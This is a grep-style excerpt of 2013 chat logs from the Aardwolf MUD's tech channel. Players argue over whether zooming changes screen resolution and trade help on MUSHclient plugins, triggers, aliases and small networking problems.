T3/r7/2013-07-29.txt.gz:{chan ch=tech}Ranrr Tech: Ok. Zooming changes resolution. Right. Let's go with that.
T3/r7/2013-07-29.txt.gz:{chan ch=tech}Tech: for the 24-hour period of 7/28/2013 (yesterday) MUD time, my log is 2.7MB...that covers everything I typed, everything that the MUD sent to me, and everything that my scripts output, and it does not count mccp savings (although it also does not count most GMCP stuff)
T3/r7/2013-07-29.txt.gz:{chan ch=tech}Tech: zooming and "resizing the desktop"
T3/r7/2013-07-29.txt.gz:{chan ch=tech}Tech: lrn2terms
T3/r7/2013-07-29.txt.gz:{chan ch=tech}Ranrr Tech: Why would resizing the desktop to fit the zoom level imply changing resolution?
T3/r7/2013-07-29.txt.gz:{chan ch=tech}Tech: it accomplishes changing resolution
T3/r7/2013-07-29.txt.gz:{chan ch=tech}Ranrr Tech: No, it's still the same number of pixels on the screen, just things are rescaled to use more pixels.
T3/r7/2013-07-29.txt.gz:{chan ch=tech}Tech: oh, so you just don't know what screen resolutions mean, gotcha
T3/r7/2013-07-29.txt.gz:{chan ch=tech}Tech: You pat Ranrr on his head.
T3/r7/2013-07-29.txt.gz:{chan ch=tech}Ranrr Tech: And you apparently have some other definition than number of pixels.
T3/r7/2013-07-29.txt.gz:{chan ch=tech}Tech: native hardware resolution != the primary definition of resolution
T3/r7/2013-07-29.txt.gz:{chan ch=tech}Tech: nice try though
T3/r7/2013-07-29.txt.gz:{chan ch=tech}Ranrr Tech: So, if number of pixels on the screen does not change, how have I changed resolution, please explain that.
T3/r7/2013-07-29.txt.gz:{chan ch=tech}Tech: you have changed displayed resolution...just like when you go into X11's resolution settings, or Windows Display properties to Screen resolution, or OSX's display resolution...
T3/r7/2013-07-29.txt.gz:{chan ch=tech}Ranrr Tech: Nope.
T3/r7/2013-07-29.txt.gz:{chan ch=tech}Tech: yep
T3/r7/2013-07-29.txt.gz:{chan ch=tech}Ranrr Tech: No.
T3/r7/2013-07-29.txt.gz:{chan ch=tech}Ranrr Tech: I also do not change resolution if I change my font size.
T3/r7/2013-07-29.txt.gz:{chan ch=tech}Tech: yeah, keep repeating it...that'll change standard definitions in the computing world
T3/r7/2013-07-29.txt.gz:{chan ch=tech}Tech: correct, you do not
T3/r7/2013-07-29.txt.gz:{chan ch=tech}Ranrr Tech: Just because your OS does it that way, doesn't mean mine does.
T3/r7/2013-07-29.txt.gz:{chan ch=tech}Ranrr Tech: Zooming doesn'
T3/r7/2013-07-29.txt.gz:{chan ch=tech}Ranrr Tech: Zooming doesn't change resolution.
T3/r7/2013-07-29.txt.gz:{chan ch=tech}Tech: you're right, that's not what makes yours do it that way...yours decided to do it that way on its own
T3/r7/2013-07-29.txt.gz:{chan ch=tech}Ranrr Tech: Actually, it doesn't. You just think it does.
T3/r7/2013-07-29.txt.gz:{chan ch=tech}Ranrr Tech: That's why the feature is called Zoom, and not Change Resolution.
T3/r7/2013-07-29.txt.gz:{chan ch=tech}Tech: I'm not talking about zoom
T3/r7/2013-07-29.txt.gz:{chan ch=tech}Ranrr Tech: I am.
T3/r7/2013-07-29.txt.gz:{chan ch=tech}Tech: no you're not
T3/r7/2013-07-29.txt.gz:{chan ch=tech}Tech: you've expressly stated that you're not
T3/r7/2013-07-29.txt.gz:{chan ch=tech}Ranrr Tech: I have? 
T3/r7/2013-07-29.txt.gz:{chan ch=tech}Tech: yes.
T3/r7/2013-07-29.txt.gz:{chan ch=tech}Ranrr Tech: Then you don't understand.
T3/r7/2013-07-29.txt.gz:{chan ch=tech}Tech: I understand that you like being obtuse without grasping anything being discussed
T3/r7/2013-07-29.txt.gz:{chan ch=tech}Ranrr Tech: I'm not going to answer your insults.
T3/r7/2013-07-29.txt.gz:{chan ch=tech}Tech: and I understand that the makers of your OS use the term resolution in the same manner that I do
T3/r7/2013-07-29.txt.gz:{chan ch=tech}Tech: please don't answer my insults, it'd be much better to simply stop being obtuse :P
T3/r7/2013-07-29.txt.gz:{chan ch=tech}Ranrr Tech: Well, you can believe whatever you want. If you want to think that the zoom feature on my OS changes resolution, that'
T3/r7/2013-07-29.txt.gz:{chan ch=tech}Ranrr Tech: Well, you can believe whatever you want. If you want to think that the zoom feature on my OS changes resolution, that's fine.
T3/r7/2013-07-29.txt.gz:{chan ch=tech}Ranrr Tech: Or maybe it was the resizing of the desktop that changed resolution.
T3/r7/2013-07-29.txt.gz:{chan ch=tech}Tech: Sonshi is demanding to speak to someone else inside the castle.
T3/r7/2013-07-29.txt.gz:{chan ch=tech}Ranrr Tech: Anyway, Abe, thanks for making your best to misunderstand, as usual.
T3/r7/2013-07-29.txt.gz:{chan ch=tech}Sonshi Tech: was this another the-universe-isn't-expanding type thing, or a cultural difference or what...
T3/r7/2013-07-29.txt.gz:{chan ch=tech}Ranrr Tech: Abe likes to try to misunderstand my statements.
T3/r7/2013-07-29.txt.gz:{chan ch=tech}Ranrr Tech: So, cultural difference, I guess.
T3/r7/2013-07-29.txt.gz:{chan ch=tech}Tech: and ranrr likes to pretend that definitions don't exist :P
T3/r7/2013-07-29.txt.gz:{chan ch=tech}Ranrr Tech: I am still wondering how zooming or changing the desktop size changes resolution. I just can't understand where you got that from.
T3/r7/2013-07-29.txt.gz:{chan ch=tech}Ranrr Tech: I am still going by the definition of resolution being number of pixels on the screen. If that is wrong, then I guess I am wrong.
T3/r7/2013-07-29.txt.gz:{chan ch=tech}Sonshi Tech: so... what's the definition of "resizing the desktop" anyway? I wasn't aware that there was a standard definition for that that involves changing the resolution... I'm not a tech expert, so I do want to know...
T3/r7/2013-07-29.txt.gz:{chan ch=tech}Ranrr Tech: For me that means changing the size of my work area. Of course, if that makes the work area bigger than the screen resolution, I might have to scroll to get to stuff. If it makes the work area smaller than the screen, I will get black borders.
T3/r7/2013-07-29.txt.gz:{chan ch=tech}Ranrr Tech: Doesn't change the resolution, though.
T3/r7/2013-07-29.txt.gz:{chan ch=tech}Ranrr Tech: Some people like using a huge workspace instead of virtual desktops. I prefer virtual desktops.
T3/r7/2013-07-29.txt.gz:{chan ch=tech}Tech: well, you could say that we're either disagreeing on the definition of resolution, or that we're disagreeing on the definition of a pixel...
T3/r7/2013-07-29.txt.gz:{chan ch=tech}Tech: Grissom is disagreeing about everything
T3/r7/2013-07-29.txt.gz:{chan ch=tech}Grissom Tech: i disagree with that,grissom
T3/r7/2013-07-29.txt.gz:{chan ch=tech}Ranrr Tech: If my OS decides to use 1 or 4 pixels to draw e.g. a dot, in my world the resolution does not change. So, if I zoom my workspace, in or out, the resolutions does not change, but how many pixels are used to draw the same thing does.
T3/r7/2013-07-29.txt.gz:{chan ch=tech}Sonshi Tech: also, were you guys talking about screen resolution, desktop resoltion, and is there a difference?
T3/r7/2013-07-29.txt.gz:{chan ch=tech}Tech: non-CRT displays have very discrete pixels and native resolution which is pretty immutable, so there's no such thing as changing that resolution...
T3/r7/2013-07-29.txt.gz:{chan ch=tech}Tech: however, all OSes: Linux, Windows, OSX, real Unices, use the term resolution to refer to how many logical units high and wide they consider the workspace to be
T3/r7/2013-07-29.txt.gz:{chan ch=tech}Ranrr Tech: Ok, then replace resolution with display resolution.
T3/r7/2013-07-29.txt.gz:{chan ch=tech}Ranrr Tech: Since I can set my workspace to any size I like, without changing display resolution.
T3/r7/2013-07-29.txt.gz:{chan ch=tech}Loshy Tech: n e blowtorch masters out there
T3/r7/2013-07-29.txt.gz:{chan ch=tech}Loshy Tech: quick
T3/r7/2013-07-29.txt.gz:{chan ch=tech}Krynal Tech: Is the Bast EQset plugin functional?  I'm having a problem adding items to a set due to invalid wearloc e.g. eqs add 786692711 finger leveq 91|lev91
T3/r7/2013-07-29.txt.gz:{chan ch=tech}Ehrsul Tech: i'm looking for a good auto renew spell up plugin, or how to get winkle's working if anyone has time to help me out
T3/r7/2013-07-29.txt.gz:{chan ch=tech}Tech: bast's got a nice one
T3/r7/2013-07-29.txt.gz:{chan ch=tech}Turie Tech: I like Bast's spellup plugin.
T3/r7/2013-07-29.txt.gz:{chan ch=tech}Tech: krynal: I'd guess your issue is that there is no "finger" wear location...there is "rfinger" and "lfinger"
T3/r7/2013-07-29.txt.gz:{chan ch=tech}Krynal Tech: Yeah I realized my dumbass attack after the fact.  Thanks though.
T3/r7/2013-07-29.txt.gz:{chan ch=tech}Turie Tech: Krynal: You will need to use a fresh install of AardMUSH and Bast's Plugins. Remember to save your Aliases, Triggers, Macros, and so on from MUSHclient and make a copy of your Bast Stats.db and Aarwolf.db(aka Mapper db). Those will be needed to move to the fresh install of AardMUSH and Basts Plugins. I had to do that to get it to work. In addition, you will need to Identify all of your equipment after the fresh install.
T3/r7/2013-07-29.txt.gz:{chan ch=tech}Turie Tech: I did all of that to get it to work properly.
T3/r7/2013-07-29.txt.gz:{chan ch=tech}Krynal Tech: Thanks, Turie.
T3/r7/2013-07-29.txt.gz:{chan ch=tech}Ehrsul Tech: okay, I got all the plugins installed for bast's spellup plugin, but I need some help setting it up, how do I set all the spells I have to work with it?
T3/r7/2013-07-29.txt.gz:{chan ch=tech}Tech: bsp sadd all iirc...the wiki page for it should help
T3/r7/2013-07-29.txt.gz:{chan ch=tech}Tech: you can type "bsp help" to see lots of info on bast's spellup plugin
T3/r7/2013-07-29.txt.gz:{chan ch=tech}Turie Tech: https://code.google.com/p/bastmush/wiki/miniwin_spellup
T3/r7/2013-07-29.txt.gz:{chan ch=tech}Tech: Exactly.
T3/r7/2013-07-29.txt.gz:{chan ch=tech}Tech: bast puts a good amount of info on the wiki pages for his plugins, as does Fiendish for the aard MUSHclient package itself
T3/r7/2013-07-29.txt.gz:{chan ch=tech}Ehrsul Tech: i'm trying to use my sprite racial instead of the invis spell itself to renew after each combat
T3/r7/2013-07-29.txt.gz:{chan ch=tech}Tech: unfortunately, racial invis is treated a bit differently by the game than some other racial spellups...when you use it (and when it gets turned off), the game doesn't send a "this spell is on/off" signal...
T3/r7/2013-07-29.txt.gz:{chan ch=tech}Tech: personally, I use an "end of fight" trigger to redo invis
T3/r7/2013-07-29.txt.gz:{chan ch=tech}Krynal Tech: Are there any issues in using the latest Aard client snapshot rather than the client on the Aardwolf download page?
T3/r7/2013-07-29.txt.gz:{chan ch=tech}Turie Tech: The Snapshot on https://code.google.com/p/aardwolfclientpackage/downloads/list is the latest version.
T3/r7/2013-07-29.txt.gz:{chan ch=tech}Krynal Tech: Yeah thats the one I have downloaded.  I just noticed the version on the Aard site is different and want to make sure there were no changes that..
T3/r7/2013-07-29.txt.gz:{chan ch=tech}Krynal Tech: would break plugins.
T3/r7/2013-07-29.txt.gz:{chan ch=tech}Turie Tech: There is a plugin that checks the aardwolfclientpackage to the one you are running.
T3/r7/2013-07-29.txt.gz:{chan ch=tech}Vonliege Tech: how do I check my current aardmush version number?
T3/r7/2013-07-29.txt.gz:{chan ch=tech}Tech: checkversion
T3/r7/2013-07-29.txt.gz:{chan ch=tech}Vonliege Tech: r1723... hmm... works great.  I wonder if it's worth updating?  I hate to fix it if it aint broke.... and thanks for the answer, Abelinc
T3/r7/2013-07-29.txt.gz:{chan ch=tech}Tech: the google code page with the download has a full changelog on it
T3/r7/2013-07-29.txt.gz:{chan ch=tech}Vonliege Tech: was just paging thru that... looks like lots of tweaks and improvements, but nothing sounds all that sexy to me... no significant feature additions that I see.  Plenty of stuff that would be meaningful to someone who is a little more script savy than myself, though.
T3/r7/2013-07-29.txt.gz:{chan ch=tech}Tech: https://code.google.com/p/aardwolfclientpackage, click downloads tab, click MUSHclient.zip...it takes you to a changelog page with a download link, it doesn't download directly
T3/r7/2013-07-29.txt.gz:{chan ch=tech}Vonliege Tech: unless you recommend an update for some reason that I'm missing, I think I let it rest - especially since it all works really good for me
T3/r7/2013-07-29.txt.gz:{chan ch=tech}Vonliege Tech: sounds rather provincial, I know, but I gave up on the "latest and greats" a few years ago
T3/r7/2013-07-29.txt.gz:{chan ch=tech}Vonliege Tech: supper time!
T3/r7/2013-07-29.txt.gz:{chan ch=tech}Tech: I usually keep my MUSHclient within 6 months or so...1723 was dec 2012
T3/r7/2013-07-29.txt.gz:{chan ch=tech}Mohan Tech: could someone help me with this error: Trigger function "invmon" not found or had a previous error.
T3/r7/2013-07-29.txt.gz:{chan ch=tech}Turie Tech: plugins reload bsst
T3/r7/2013-07-29.txt.gz:{chan ch=tech}Mohan Tech: doesn't worked
T3/r7/2013-07-29.txt.gz:{chan ch=tech}Mohan Tech: I removed and added it again
T3/r7/2013-07-29.txt.gz:{chan ch=tech}Mohan Tech: and still have the same problem
T3/r7/2013-07-29.txt.gz:{chan ch=tech}ChrisCross Tech: how can I reset all of my windows in MUSHclient?
T3/r7/2013-07-30.txt.gz:{chan ch=tech}Tripphippie Tech: how do I avoid blowing away all my settings when I upgrade aard client? for future reference since i'm buy rebuilding my triggers
T3/r7/2013-07-30.txt.gz:{chan ch=tech}Tripphippie Tech: buy=busy*
T3/r7/2013-07-30.txt.gz:{chan ch=tech}Tech: www.aardwolf.com, click the screenshot, click download client...that page tells you everything
T3/r7/2013-07-30.txt.gz:{chan ch=tech}Tripphippie Tech: aardwolf.com is blocked at my work but thanks anyway
T3/r7/2013-07-30.txt.gz:{chan ch=tech}Pei Tech: sounds like you need a vpn or http proxy
T3/r7/2013-07-30.txt.gz:{chan ch=tech}Tech: don't worry about upgrading while at work :-)
T3/r7/2013-07-30.txt.gz:{chan ch=tech}Tripphippie Tech: I only play at work
T3/r7/2013-07-30.txt.gz:{chan ch=tech}Pei Tech: lol
T3/r7/2013-07-30.txt.gz:{chan ch=tech}Cosrin Tech: I want your job :)
T3/r7/2013-07-30.txt.gz:{chan ch=tech}Pei Tech: oh so we're not good enough for your off-work time?
T3/r7/2013-07-30.txt.gz:{chan ch=tech}Tech: Pei :P
T3/r7/2013-07-30.txt.gz:{chan ch=tech}Umbra Eutychus Tech: I MUD mostly only at work myself.
T3/r7/2013-07-30.txt.gz:{chan ch=tech}Bamboo Tech: Same here, 'cept on weekends
T3/r7/2013-07-30.txt.gz:{chan ch=tech}Tripphippie Tech: at home I have a graphics card
T3/r7/2013-07-30.txt.gz:{chan ch=tech}Umbra Eutychus Tech: ^
T3/r7/2013-07-30.txt.gz:{chan ch=tech}Pei Tech: LOL, that's messed up
T3/r7/2013-07-30.txt.gz:{chan ch=tech}Jaenelle Tech: I tend to work at work. :P
T3/r7/2013-07-30.txt.gz:{chan ch=tech}Nuanse Tech: liar!
T3/r7/2013-07-30.txt.gz:{chan ch=tech}Bamboo Tech: I quest at work. :D
T3/r7/2013-07-30.txt.gz:{chan ch=tech}Tripphippie Tech: I work at work too. and I work on my mud scripts
T3/r7/2013-07-30.txt.gz:{chan ch=tech}Pei Tech: yeh, funny how working at works tends to work
T3/r7/2013-07-30.txt.gz:{chan ch=tech}Jopari Tech: hey, what is the command sent with autosac on?
T3/r7/2013-07-30.txt.gz:{chan ch=tech}Deathlok Tech: One of my windows in Mush ended up so far to the top that I can no longer see the top, nor click and drag it down.  Is there a way to reset it to the middle or something?
T3/r7/2013-07-30.txt.gz:{chan ch=tech}Turie Tech: Aardreset
T3/r7/2013-07-30.txt.gz:{chan ch=tech}Deathlok Tech: that will reset them all then I assume?
T3/r7/2013-07-30.txt.gz:{chan ch=tech}Turie Tech: Is it an AardMUSH or Bast plugin?
T3/r7/2013-07-30.txt.gz:{chan ch=tech}Deathlok Tech: its a plugin
T3/r7/2013-07-30.txt.gz:{chan ch=tech}Turie Tech: Which one?
T3/r7/2013-07-30.txt.gz:{chan ch=tech}Tripphippie Tech: what is the name of the plugin that colors the consider output and adds the level range?
T3/r7/2013-07-30.txt.gz:{chan ch=tech}Tripphippie Tech: still recreating my settings
T3/r7/2013-07-30.txt.gz:{chan ch=tech}FirstBlade Gladacus Tech: Consider_info
T3/r7/2013-07-30.txt.gz:{chan ch=tech}Tripphippie Tech: thanks :D
T3/r7/2013-07-30.txt.gz:{chan ch=tech}Jesseleivo Tech: hey where can i get a sound pack for this game?
T3/r7/2013-07-30.txt.gz:{chan ch=tech}Grissom Tech: i know Pei is busy making one not sure where to get a ready one though
T3/r7/2013-07-30.txt.gz:{chan ch=tech}Turie Tech: You can make your own using triggers and so on if you have sound files.
T3/r7/2013-07-30.txt.gz:{chan ch=tech}Jesseleivo Tech: ah ok i was just wondering, i don't know anything about triggers anyway heh
T3/r7/2013-07-30.txt.gz:{chan ch=tech}Turie Tech: https://code.google.com/p/aardwolfclientpackage/wiki/Triggers
T3/r7/2013-07-30.txt.gz:{chan ch=tech}Grissom Tech: i have one trigger one to play a sound when i can take a quest
T3/r7/2013-07-30.txt.gz:{chan ch=tech}Jesseleivo Tech: thank you
T3/r7/2013-07-30.txt.gz:{chan ch=tech}Tech Bloke Danj Tech: ok, mushclient noob here, using the aardwolf client package, how do I change the input font? tried changing it in global properties but it doesn't seem to have any effect
T3/r7/2013-07-30.txt.gz:{chan ch=tech}Grissom Tech: type tech increase font size
T3/r7/2013-07-30.txt.gz:{chan ch=tech}Tech Bloke Danj Tech: ?
T3/r7/2013-07-30.txt.gz:{chan ch=tech}Arkaylis Tech: For those of us that are not scripting savvy, can someone point to resources that may help us better harness the power in the AardMush client?
T3/r7/2013-07-30.txt.gz:{chan ch=tech}Tech Bloke Danj Tech: or even for those of us who are
T3/r7/2013-07-30.txt.gz:{chan ch=tech}Tech Bloke Danj Tech: because I'm coming to mushclient after being a zmud user for like 18 years
T3/r7/2013-07-30.txt.gz:{chan ch=tech}Grissom Tech: rats that never works
T3/r7/2013-07-30.txt.gz:{chan ch=tech}Tech Bloke Danj Tech: grissom: yeah that would be because I'm not a total numbnuts :p
T3/r7/2013-07-30.txt.gz:{chan ch=tech}Gaelehad Tech: gammons site has some stuff on using lua but it's quite a lurning curve for scripting
T3/r7/2013-07-30.txt.gz:{chan ch=tech}Tech Bloke Danj Tech: "press alt+f4 to get ops" type tricks were old even in 1995
T3/r7/2013-07-30.txt.gz:{chan ch=tech}Tech Bloke Danj Tech: brb updating
T3/r7/2013-07-30.txt.gz:{chan ch=tech}Gaelehad Tech: but you can also do you scripts in other scritping languages
T3/r7/2013-07-30.txt.gz:{chan ch=tech}Bast Tech: doing scripts in other languages beside lua means that people who use wine can't use them without a large headache of getting wsh working correctly with that scripting language
T3/r7/2013-07-30.txt.gz:{chan ch=tech}Tynrael Tech: any idea why mapper attempting to use an alias would fail even though the alias works fine? I have dread aliased to use my dread tower portal, and if I type dread it works just fine, if I echocommands and try to have mapper take me there it shows the input as dread, followed by a message saying 'That is not a command.' and the alias isn't used
T3/r7/2013-07-30.txt.gz:{chan ch=tech}Tynrael Tech: as far as I can tell all my other mapper aliases are working without issue
T3/r7/2013-07-30.txt.gz:{chan ch=tech}Gaelehad Tech: set sendto to script not world
T3/r7/2013-07-30.txt.gz:{chan ch=tech}Tynrael Tech: changes from not being a command to not being understood
T3/r7/2013-07-30.txt.gz:{chan ch=tech}Gaelehad Tech: are you using mushclient?
T3/r7/2013-07-30.txt.gz:{chan ch=tech}Tynrael Tech: yes I am, and I have 78 other portal alises all setup the same way the work, only this one doesn't and there isn't anything different about it
T3/r7/2013-07-30.txt.gz:{chan ch=tech}The Dragon RandAlthor Tech: just make the alias mudside and you wont have an issue
T3/r7/2013-07-30.txt.gz:{chan ch=tech}Tynrael Tech: its not a huge problem, it just doesn't make any sense   :p
T3/r7/2013-07-30.txt.gz:{chan ch=tech}Zade Tech: type alias
T3/r7/2013-07-30.txt.gz:{chan ch=tech}Tynrael Tech: the alias is defined in the MUSHclient, and it works when I type it, just not when mapper uses it
T3/r7/2013-07-30.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: send me your 'mapper portals' readout as well as an export of your alias
T3/r7/2013-07-30.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: Shift+Ctrl+9, select your alias, then press the Copy button
T3/r7/2013-07-30.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: what is "ualedItem" ?
T3/r7/2013-07-30.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: erg. @dualedItem
T3/r7/2013-07-30.txt.gz:{chan ch=tech}Tynrael Tech: its a variable I populate with wear itemID when I'm little and change to dual itemID when I get dual wield
T3/r7/2013-07-30.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: interesting
T3/r7/2013-07-30.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: I bet you added your dread portal with a space on the end or something
T3/r7/2013-07-30.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: try removing and readding it
T3/r7/2013-07-30.txt.gz:{chan ch=tech}Tynrael Tech: Yep that did it, thanks Fiend  =)
T3/r7/2013-07-30.txt.gz:{chan ch=tech}Leinei Tech: Would there be any issue with two keyboards (one wireless) hooked up at once to a computer?  Assuming I wanted to be able to use either one any time I wanted?
T3/r7/2013-07-30.txt.gz:{chan ch=tech}Vost Tech: should be fine
T3/r7/2013-07-30.txt.gz:{chan ch=tech}WarPigs Tech: It happens often on laptops with docking stations.
T3/r7/2013-07-30.txt.gz:{chan ch=tech}Leinei Tech: Hmm, OK.  I can get my iPad to display my screen, and was thinking about picking up a wireless keyboard to control it.
T3/r7/2013-07-30.txt.gz:{chan ch=tech}Leinei Tech: thanks
T3/r7/2013-07-30.txt.gz:{chan ch=tech}Loktar Tech: anyone familiar with Opochtlis sharp tracker?
T3/r7/2013-07-30.txt.gz:{chan ch=tech}Loktar Tech: trying to find the syntax to bring up all the commands, or even better to change the channel the ouput is sent to
T3/r7/2013-07-30.txt.gz:{chan ch=tech}Book of Etzli Tech: I'm sure Opochtli is.
T3/r7/2013-07-30.txt.gz:{chan ch=tech}Tech: Loktar cries on Book of Etzli's shoulder.
T3/r7/2013-07-30.txt.gz:{chan ch=tech}Loktar Tech: He only speaks Xunti, im not fluent!
T3/r7/2013-07-30.txt.gz:{chan ch=tech}Book of Etzli Tech: Drop him a note?
T3/r7/2013-07-30.txt.gz:{chan ch=tech}Book of Etzli Tech: Or rather... Xiudropitl Cohimatl tatl tlanoteatl?
T3/r7/2013-07-31.txt.gz:{chan ch=tech}Runtur Vanion Tech: is there a data type that will allow 's to be stored in msql or do i have to replace 's with \' as it store the values to db ?
T3/r7/2013-07-31.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: Anyone know how I can exclude a directory from an SVN tree?
T3/r7/2013-07-31.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: I tried adding path/to/subdirectory from its parent using svn propedit svn:ignore .
T3/r7/2013-07-31.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: But every time I rebuild the status shows path/to/subdirectory there.... with the annoying ? which means it hasn't been ignored
T3/r7/2013-07-31.txt.gz:{chan ch=tech}Tasty Tipro Tech: tick timer on mush has disapperaed. Tried reinstalling it from the plugin wizard, no luck. Any other suggestions?
T3/r7/2013-07-31.txt.gz:{chan ch=tech}Trachx Tech: you mean that timer on status bar?
T3/r7/2013-07-31.txt.gz:{chan ch=tech}Trachx Tech: if so then maybe there is another plugin using the same place
T3/r7/2013-07-31.txt.gz:{chan ch=tech}Tasty Tipro Tech: yeah
T3/r7/2013-07-31.txt.gz:{chan ch=tech}Endangered Sabertooth Tech: anybody here have minecraft?
T3/r7/2013-07-31.txt.gz:{chan ch=tech}Redryn Tech: anybody know if it's possible to connect remotely with mushclient from an android phone?
T3/r7/2013-07-31.txt.gz:{chan ch=tech}Turie Tech: http://www.gammon.com.au/forum/?id=9496 to start with.
T3/r7/2013-07-31.txt.gz:{chan ch=tech}Ayasinda Tech: I know Abelinc connects from his phone via SSH to his PC at home running a full mushclient.
T3/r7/2013-07-31.txt.gz:{chan ch=tech}Turie Tech: Abelinc does not run MUSHclient. He runs tintin+ or tf I think.
T3/r7/2013-07-31.txt.gz:{chan ch=tech}Ayasinda Tech: agreed but the technique is the same.
T3/r7/2013-07-31.txt.gz:{chan ch=tech}Buried Dreadlocker Tech: Whats the name of a decent autospelluper script out there? I was using one before, can't remember it.
T3/r7/2013-07-31.txt.gz:{chan ch=tech}Buried Dreadlocker Tech: Disregard.
T3/r7/2013-07-31.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: Ok I'm closing this ticket out, no response.
T3/r7/2013-07-31.txt.gz:{chan ch=tech}Persia Tech: Hi I'd like to poll Mac users... what do you use to play Aard? 
T3/r7/2013-07-31.txt.gz:{chan ch=tech}Buried Dreadlocker Tech: Ew, Mac.
T3/r7/2013-07-31.txt.gz:{chan ch=tech}Tech: Persia grimaces at Buried Dreadlocker.
T3/r7/2013-07-31.txt.gz:{chan ch=tech}Buried Dreadlocker Tech: Hey, outside of newbie chat, you're free game!
T3/r7/2013-07-31.txt.gz:{chan ch=tech}Persia Tech: Haha don't taunt the tech newbie :P
T3/r7/2013-07-31.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: I know you can use Mushclient through mac/wine...
T3/r7/2013-07-31.txt.gz:{chan ch=tech}Buried Dreadlocker Tech: Please, I don't know diddly squat about computers, feel free to slug some my way.
T3/r7/2013-07-31.txt.gz:{chan ch=tech}Buried Dreadlocker Tech: I know where the on button is, does that count?
T3/r7/2013-07-31.txt.gz:{chan ch=tech}Ontuct Tech: last mac I ran was an old school 80's vintage machine.
T3/r7/2013-07-31.txt.gz:{chan ch=tech}Buried Dreadlocker Tech: Did you drop it on the way to getting it signed by Steve Jobs?!
T3/r7/2013-07-31.txt.gz:{chan ch=tech}Tech: You notice that Persia is extremely depressed.
T3/r7/2013-07-31.txt.gz:{chan ch=tech}Book of Etzli Tech: So I still can't figure it out, but would like some ideas to try when I get home. For whatever reason, I cannot connect to port 80 locally, but can remotely. I used to be able to connect locally, though.
T3/r7/2013-07-31.txt.gz:{chan ch=tech}Ontuct Tech: router setting?
T3/r7/2013-07-31.txt.gz:{chan ch=tech}Book of Etzli Tech: Shouldn't be. Port 80 is TCP&UDP forwarded.
T3/r7/2013-07-31.txt.gz:{chan ch=tech}Book of Etzli Tech: And not a firewall issue, either.
T3/r7/2013-07-31.txt.gz:{chan ch=tech}Mye Tech: is there a difference between using localhost and fqdn, or are you unable to for both?
T3/r7/2013-07-31.txt.gz:{chan ch=tech}Book of Etzli Tech: Unable to use localhost... not sure about fqdn.
T3/r7/2013-07-31.txt.gz:{chan ch=tech}Mye Tech: what i was thinking of would mean localhost works while fqdn doesn't :/
T3/r7/2013-07-31.txt.gz:{chan ch=tech}Book of Etzli Tech: Oh. :p
T3/r7/2013-07-31.txt.gz:{chan ch=tech}Mye Tech: check the windows event logs? security and application in particular
T3/r7/2013-07-31.txt.gz:{chan ch=tech}Book of Etzli Tech: What would I be looking for?
T3/r7/2013-07-31.txt.gz:{chan ch=tech}Mye Tech: an attempted login with a failed reason .. most likely your IUSR_<comp name> .. app or system log would probably be an IIS or even ASP.NET errror (i'm assuming windows/iis here, correct if wrong)
T3/r7/2013-07-31.txt.gz:{chan ch=tech}Tech Bloke Danj Tech: also check your hosts file, maybe?
T3/r7/2013-07-31.txt.gz:{chan ch=tech}Tech Bloke Danj Tech: and check whether it's a browser specific issue, e.g. if you get this problem in IE does it also happen in firefox/chrome
T3/r7/2013-07-31.txt.gz:{chan ch=tech}Book of Etzli Tech: Don't even think that would be applicable, the attempted login, would it? Reason I ask is that I can connect to the shared folders just fine, and the port 80 connection is to connect to the server holding my music... hmm.
T3/r7/2013-07-31.txt.gz:{chan ch=tech}Book of Etzli Tech: It happens across all browsers, Danj. I can't even access it through my phone.
T3/r7/2013-07-31.txt.gz:{chan ch=tech}Tech Bloke Danj Tech: well, obviously using localhost won't work on your phone, as your server isn't on your phone
T3/r7/2013-07-31.txt.gz:{chan ch=tech}Hollister Tech: ok, who works with 3Ds max?
T3/r7/2013-07-31.txt.gz:{chan ch=tech}Hollister Tech: no one is familiar with 3D Max?
T3/r7/2013-07-31.txt.gz:{chan ch=tech}Tasty Tipro Tech: my tick timer has disappeared from mushclient. Any idea of how to get it back?
T3/r7/2013-07-31.txt.gz:{chan ch=tech}Turie Tech: Check ctrl+shift+p to see if it is listed.
T3/r7/2013-07-31.txt.gz:{chan ch=tech}Tasty Tipro Tech: it is listed and enabled
T3/r7/2013-07-31.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: reinstall
T3/r7/2013-07-31.txt.gz:{chan ch=tech}Tasty Tipro Tech: tried that and couldn't figure out how to move my mapper over
T3/r7/2013-07-31.txt.gz:{chan ch=tech}Purrrrific Growltiger Tech: didn't just move mush so it's under the task bar or something?
T3/r7/2013-07-31.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: the Aardwolf_tick_timer?
T3/r7/2013-07-31.txt.gz:{chan ch=tech}Tasty Tipro Tech: not sure growl. I can't move my command bar to check. Can only make it taller or shorter
T3/r7/2013-07-31.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: type aardreset
T3/r7/2013-07-31.txt.gz:{chan ch=tech}Tasty Tipro Tech: but making it as short as possible doesn't show it
T3/r7/2013-07-31.txt.gz:{chan ch=tech}Tasty Tipro Tech: say's that's not a command
T3/r7/2013-07-31.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: err, sorry. resetaard
T3/r7/2013-07-31.txt.gz:{chan ch=tech}Tasty Tipro Tech: well that did something, but no tick trigger
T3/r7/2013-07-31.txt.gz:{chan ch=tech}Turie Tech: Is your status bar showing?
T3/r7/2013-07-31.txt.gz:{chan ch=tech}Tasty Tipro Tech: yes the status bar is showing
T3/r7/2013-07-31.txt.gz:{chan ch=tech}Tasty Tipro Tech: but now i'm having problems with the command bar. It disappears when I type things
T3/r7/2013-07-31.txt.gz:{chan ch=tech}Turie Tech: Disable, remove ticker, add ticker back.
T3/r7/2013-07-31.txt.gz:{chan ch=tech}The Dragon RandAlthor Tech: do you have a trigger/alias/anything sending something to your status field?
